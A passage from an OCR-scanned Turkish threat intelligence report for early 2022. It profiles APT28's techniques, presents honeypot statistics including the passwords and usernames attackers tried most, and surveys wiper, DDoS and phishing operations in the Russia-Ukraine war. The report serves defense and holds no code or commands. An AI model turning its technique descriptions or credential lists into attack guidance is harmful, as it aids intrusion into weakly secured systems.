kullanimi, bir kullanicinin LM veya NTLM parola karma-
sini (password hash) dahili sistemlerde kimlik dogrula-
masi icin kullandigi Pass-the-Hash (PtH) saldirilari, tic-
ket passing ve Windows Admin Shares. Ayrica, Xagent
zararl bilesenlerinin virlsli USB suructler araciligiyla
hava bosluklu (air-gapped; guvenli bir bilgisayar aginin
internet veya yerel ag gibi givenli olmayan aglardan
fiziksel olarak izole edilmesini saglamak icin bir veya
daha fazla bilgisayarda kullanilan ag gtivenlik 6nlemidir)
ortamlardaki diger sistemlere yayllmasi i¢in tasarlandigi
bilinmektedir.

Toplama

Casuslugun, APT28’in birincil hedeflerinden biri oldugu
tespit edilmistir. Hedeflenen e-posta hesaplarindan, ye-
rel ve kablosuz aglardan cesitli veriler topladiklari tespit
edilmistir. Digaridan erigilebilen e-posta hesaplarina eri-
sim saglamasiyla, APT28’in uzun streler boyunca ses-
sizce veri toplamasini sagladigi tespit edilmistir. APT28
tarafindan gelistirilen kétd amacl yazim bilesenlerinin
(malware components), anahtar ginligu (keylogging),
e-posta adresi toplama, periyodik ekran goriintilerini
yakalama, pencere odagini izleme ve pencere igeriklerini
elde etme ve iOS cihazlarinin yedeklerinin olup olma-
digini kontrol etme gibi fonksiyonlari bulundugu tespit
edilmistir. Ayrica APT28 grubunun keylogging araciligiy-
la yerel sistemden ve USB siirliciilerden veri topladiklari
tespit edilmistir. Toplanan verilerin genellikle diskte gizli
dosya ve/veya klasorlerde depolandidi, bunun da sistem
yeniden bagslatildiginda alinan verilerin kaybolmasini én-
ledigi tespit edilmistir.
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Disan Sizdirma

APT28 kot amacl yazilim bilesenleri tarafindan topla-
nan veriler, gizli dosyalar Komuta ve Kontrol sunucula-
rina (Command & Control server(s)) ylklenerek otomatik
ve periyodik bir sekilde toplu olarak sizdirlabilir. Ayrica
APT28’in, verileri manuel olarak da sizdirabildigi tespit
edilmistir. Komuta ve Kontrol sunuculari, toplanan ve-
rilerin sizdirnlmasinda basit bir ara vekil iglevi (interme-
diate proxy) goérebilmektedir, bdylece tespit edilmeyi ve
incelenmeyi daha da zorlastiran ekstra bir atlama yénte-
mi saglamaktadir. Tehdit aktdértiniin ayrica, hedef odakli
kimlik avi saldirilarinin (spear phishing) gerceklestirilece-
gi hedeflerin disariya acik e-posta ortamlarina erismek
amaciyla (Outlook OWA gibi), bir e-posta ydnlendirme
adresi (e-mail forwarding address) ayarlayarak verileri
kalici olarak sizdirmak igin kullandigi tespit edilmistir.

Komuta Kontrol (C2)

APT28’in kétl amacli yazilm bilesenlerinin (Seduploa-
der gibi), bir sistem basarili sekilde ele gecirildikten son-
ra komuta ve kontrol olusturmak igin farkli yéntemler
kullanabildigi tespit edilmistir. Kotl amacl yazilimin ge-
nellikle ilk olarak HTTP(S) araciliiyla internete dogrudan
bir baglantinin mimkan olup olmadigini kontrol etmeye
cahstigr gorilmuUstir. Dogrudan baglanti mimkin degil-
se, koétl amacli yazilim, sistemde yapilandinimis proxy
sunucusu araciligiyla veya c¢alisan bir tarayiciya enjekte
edilerek internete baglanmaya calismaktadir. Alternatif
olarak, kétli amagh yazilimin, Komuta ve Kontrol sunu-
culariyla gizli bir iletisim kanali olarak e-posta (SMTP ve
POP3) kullandidi tespit edilmistir. Analiz edilen saldirilar-
dan birinde APT28’in, G¢uncu taraf VPN kimlik bilgileri
araciligiyla hedeflenen bir aja uzaktan erisim elde etmis
oldugu tespit edilmistir.

Etki

APT28’in, hedef aldigi sistemler Uzerinde gerceklestir-
digi aktiviteler sonucunda verileri degistirdigi (data ma-
nipulation), verileri sifreledigi (data encryption), verileri
imha ettigi (data destruction), sistem Uzerinde calisan
servisleri durdurdugu, hesap erisimlerini kaldirdigi ve
sistemi yeniden baglattigi/kapattigi (reboot/shutdown)
tespit edilmistir. APT28 grubunun ilk gerceklestirdigi sal-
dinlarda website defacement saldirisi gerceklestirilerek
web sitelerinin araylzlerini degistirdigi ve 2016 yilinda,
Diinya Dopingle Miicadele Ajansina (World Anti-Doping
Agency) yonelik dagitik hizmet digi birakma (DDoS) sal-
dinsi gerceklestirdigi gorilmustir. Ek olarak, grubun
gerceklestirdigi aktivitelerin izlenmesini ve tespit edil-
mesini zorlastirmak amaciyla disk Gizerindeki verileri (log
kayitlari gibi) geri déndirilemeyecek sekilde sildigi (Disk
Wipe) tespit edilmistir.
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Bu rapor U¢ ay icinde Honeypot sensdrlerimizden top-
ladigimiz verilerle olusturulmustur. En ¢ok saldiri topla-
nan Ulkeler, portlar, en ¢cok denenen parolalar ve kullani-
cl isimleri gibi veriler azalan sirada listelenerek inceleme
icin sunulmustur.

2022’nin Ocak, Subat ve Mart aylarn boyunca Honeypot
sensdrlerimize toplam 6.137.330 saldirn gelmistir.

Attacks by Country

@ India

@ United States

® Vietnam

® Russia
China
Mexico
Pakistan

Iran

Japan

Brazil

Sekil 42: Gelen saldirilarin llkelere gére dagilimi.

Saldiran Ulke Saldin Sayisi
Hindistan 1.308.325
ABD 632.803
Vietnam 490.319
Rusya 467.125
Cin 429534
Meksika 340.747
Pakistan 144.281
iran 139.788
Japonya 139.191
Brezilya 117.270

Tablo 5: En ¢ok saldiri gelen Ulkeler ve saldin sayilari.

Toplanan veriler incelendiginde, en ¢ok saldirn gelen dl-
kenin Hindistan oldugu, sonrasinda ABD, Vietnam, Rus-
ya ve Gin’in onu takip ettigi gérilmektedir. Gegtigimiz
aylarda Rusya’dan gelen saldin sayisinda biyuk artis
g6zlemlenmistir. Bunun nedeninin 24 Subat’ta baglayan
ve devam etmekte olan Rusya’nin Ukrayna’yi isgal girigi-
miyle Rus tehdit aktorlerinin aktivitelerindeki artis oldugu
dusunulmektedir.

28

OCAK-MART 2022

Saldinlan Port Saldin Sayisi
445 - SMB 3.372053
3389 - RDP 347.435
22 - SSH 280.952
25 - SMTP 55.496
8080 - HTTP-ALT 22.259
443 - HTTPS 21.966
23 —- TELNET 18.005
5555 - VPN 12.258
5038 - MLDB 11.861
7070 - AnyDesk RD 5.745

Tablo 6: En ¢ok saldiri gelen portlar, bu portlari kullanan servisler ve
saldirn sayilari.

Yukaridaki tablo incelendiginde, en ¢ok saldinnin SMB
servisinin kullandigi port 445’e geldigi gérilmektedir.
SMB servisi, sunucularin paylasilan dosyalar ve yazici-
lar icin kullandigi servis oldugundan, bu servisin diger
servislere kiyasla ¢ok daha fazla saldiri almasi beklenen
bir durum olarak degerlendiriimektedir. SMB’yi sirasiyla
RDP, SSH ve SMTP servisleri takip etmektedir. Son iki en
cok saldir alan port dikkat cekmektedir. Makine 6gren-
mesi uygulamalarinda kullanilan agik kaynakli bir veri-
tabani uygulamasi olan MLDB’nin kullandi§i port 5038’e
ve AnyDesk uzak masalistl uygulamasina yonelik sal-
dinlann arttigi gézlemlenmektedir. AnyDesk, Windows
sistemlerde sikga kullanilan bir uygulama oldugundan
kullanicilarin énlem almalari tavsiye edilmektedir.

Denenen Parola Denenme Sayisi

123456 8.151
admin 8.039
nproc 7.771
123 3.067
password 2.279
root 1.991
1 1.785
user 1.721
1234 1.693
12345 1.276

Tablo 7: SSH ve RDP honeypotlarimiz Uizerinde en ¢cok denenen paro-
lalar ve deneme sayilar.

Denenen parolalar incelendiginde, birgok yonetim ara-
ylzunln standart olarak kullandigi parolalar olan admin,
root, user gibi kelimeler gézlemlenmektedir. Bu parola-
larin test slireci tamamlanir tamamlanmaz degistiriimesi
ve karmasik, 12-16 karakterli, 6zel karakter iceren pa-
rolalarla degistirilmesi analistlerimiz tarafindan tavsiye
edilmektedir.

SIBER TEHDIT DURUM RAPORU



OCAK-MART 2022

Denenen Kullanici Adi Denenme Sayisi

Root 148.468
nproc 7.771
admin 7.644
user 5.503
support 2.787
test 2.761
ubuntu 1.584
postgres 1.187
oracle 1.060
ftpuser 877

Tablo 8: SSH ve RDP honeypotlarimiz (izerinde en gok denenen kulla-
nici adlari ve deneme sayilari.

Denenen kullanici adlari incelendiginde, yeni kurulmus
olan sistemlerin siklikla kullandigi root, admin, user gibi
kullanici adlarinin saldirganlar tarafindan tercih edildi-
gi gorilmektedir. Kurulumu tamamlanan servislerin ve
yonetim panellerinin kullanici adlarinin en kisa zaman-
da degistirilmesi ve kurulan sistemlerin kendi isimlerinin
kullanilmamasi (6rn. ubuntu, postgres, oracle, ftp) tavsi-
ye edilmektedir.

7. Rusya-Ukrayna Savasindaki Siber
Operasyonlar

Rusya 24 Subat’'ta Ukrayna’da baslattigi isgalin ilk gin-
lerinde Check Point Research’e (CPR) gore, Ukrayna
askeri ve devlet kurumlarina yoénelik ¢evrimici saldiri-
larini yizde 196 arttirdi. Buna karsilik olarak Ukrayna,
uluslararasi duyarliidi harekete gecirmeye ve Rusya’da-
ki askeri ve kritik altyapi hedeflerine saldirmak icin bir
siber glvenlik uzmanlari ordusu olusturmaya calisarak
siber uzayda benzersiz bir strateji izledi. Asagida iki ta-
rafin birbirine kargi gerceklestirdigi siber saldirlar ele
alinmaktadir.

Rusya Taraftarlan
Rus DDOS Kampanyasi

Rusya, 2022’nin Subat ayi baglarinda Ukrayna web site-
lerine kargi bir dizi DDoS (Distributed Denial of Service)
saldirisi baglatti. Saldirilar Ukrayna bankacilik ve savun-
ma web sitelerini hedef aldi ve bildirildigine gére Rus as-
keri istihbarat teskilatt GRU tarafindan baslatildi.

Rus taraftar gruplan malware-as-a-service platformu
olan DanaBot!" aracini kullanarak, Ukrayna Savunma
Bakanligi web sitelerine yonelik DDOS saldirilarina de-
vam etmigtir.
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WhisperGate

Microsoft’a gorel'® kétli amagh WhisperGate olarak ad-
landirlan wiper yazilimi, 13 Ocak 2022'de Ukrayna sis-
temlerinde g6zlemlenmistir. Wiper yazilimi, ransomware
(fidye yazihmi) gibi goriinecek sekilde tasarlanmisti ve
kurbanlara, verilerinin sifresini bir Gcret karsiliginda ¢6z-
menin bir yolu gibi gériinen bir yéntem sunuyordu ancak
gercekte wiper yazilim sistemi siliyordu.

HermeticWiper

Siber glvenlik sirketleri tarafindan 13 Subat 2022’de
tespit edilen'? ve HermeticWiper olarak adlandirilan
yeni wiper ataklarn gerceklestirilmistir. HermeticWiper
yaninda yayillmasi icin kullanilan worm (solucan) da
dagrtiimisti.

IsaacWiper

Rusya, 24 Subat 2022’de IsaacWiper adl bir wiper yazi-
limiyla Ukrayna hiikiimet sistemlerine saldirdi 8. Isaac-
Wiper saldirilari HermeticWiper saldirilarindan sonra
baslatildi, fakat HermeticWiper saldirilarindan ¢ok daha
hedefe odakl bir kbt amacl yazihmdi.

UNC1151

7 Mart'ta UNC11571’in Ukrayna hikimet sistemlerine
halka acik bir arka kapi olan MicroBackdoor’u kurdugu
tespit edildi"®. Saldin vektéri ve hedeflenen ajanslar
bilinmemektedir.

UNC1151’in ayrica, Mart ayi baslarinda Ukrayna ve Po-
lonya hikumetlerine ve ordularina kargi bir kimlik avi
kampanyasi baslattigi tespit edildi ancak herhangi bir
aga girip girmedikleri belirlenemedi.

Oltalama Atak Girisimlerinde Ukrayna Ordusunun
Hedeflenmesi

.25 Qubat’ta Ukrayna’nin Bilgisayar Acil Mldahale Ekibi,
Belarus devlet destekli hacker grubu UNC1151’i toplu
bir kimlik avi saldirisinda askeri personelinin e-posta he-
saplarini hack’lemeye calismakla sucladi®®. Hacker’lar
ele gecirdikleri hesaplarla, daha fazla kétt amacli e-pos-
ta génderdiler.

APT28

Rus tehdit aktéri APT28 (Pawn Storm, Fancy Bear, So-
facy, Tsar Team, Strontium ve Sednit olarak da biliniyor),
populer Ukrayna medya sirketi UKRNet’in kullanicilarini
hedef alan bir kimlik avi kampanyasi baslatti. Google’in
Tehdit Analizi Grubu®' tarafindan tespit edildikten sonra
kampanyanin askiya alindigi gérilmektedir.
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CaddyWiper

Siber glvenlik arastirmacilari, 14 Mart 2022’de yeni bir
wiper yazilimi saldirisi gerceklestirildigini tespit ettiler. Bu
wiper yazilimi, etkilenen aga erisimi strdirirken hasar
verecek sekilde tasarlanmistir.

Ukrayna Taraftarlarn
Anonymous

Anonymous grubu, 1 Mart’ta Rus devletine karsi “savas
ilan etti” ve grup, Rus devlet medyasi tarafindan yoneti-
len engelli sitelerine sahip oldugunu iddia etti ?2. Anony-
mous ayrica, Rus devletine ait birkag televizyon kanalini
hack’ledigini iddia etti.

10 Mart’ta Anonymous, medyay! izlemekten ve sansur-
lemekten sorumlu Rus ajansi Roskomnadzor’un sistem-
lerini ihlal ettigini duyurdu. Grup 360.000°den fazla dos-
ya sizimina sebep oldu.
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IT Army of Ukraine

IT Army of Ukraine, ylz binlerce Uyesi olan bir Telegram
kanalina dnemli hedefler géndererek islev gorirken, bi-
reyler veya gruplar belirtilen hedeflere saldir baglatmak
igin verilen verileri kullandilar. IT Army of Ukraine birkac
Rus bankasinin web sitelerini, Rus elektrik sebekesini ve
demiryolu sistemini hedef aldi ve stratejik dneme sahip
diger hedeflere yonelik yaygin DDoS saldirilar bagslatti®?.

Belarus Siber Partizanlan Tren Sistemlerine Saldirisi

Belarus demiryollarina atak gerceklestiren grup, bilet sa-
tin almak icin kullanilan web sitelerini ¢dkerttiler. Ancak
web sitesinin yayindan kaldirlmasinin étesinde saldirla-
rin 6lcedi ve ciddiyeti belirsizdir4.

RuRansom Wiper

1 Mart 2022’de MalwareHunterTeam tarafindan fark
edilen®® RuRansom bir wiper yaziimi gibi davranir ve
magdurlara sistemlerinin sifresinin ¢ozllmesi icin 6de-
me yapma firsatl sunmaz. Kot amacl yazihm, kurbanin
sistemlerinde bir Rus IP adresi olup olmadigini kontrol
eder ve bulamazsa, yurtitmeyi durdurur.
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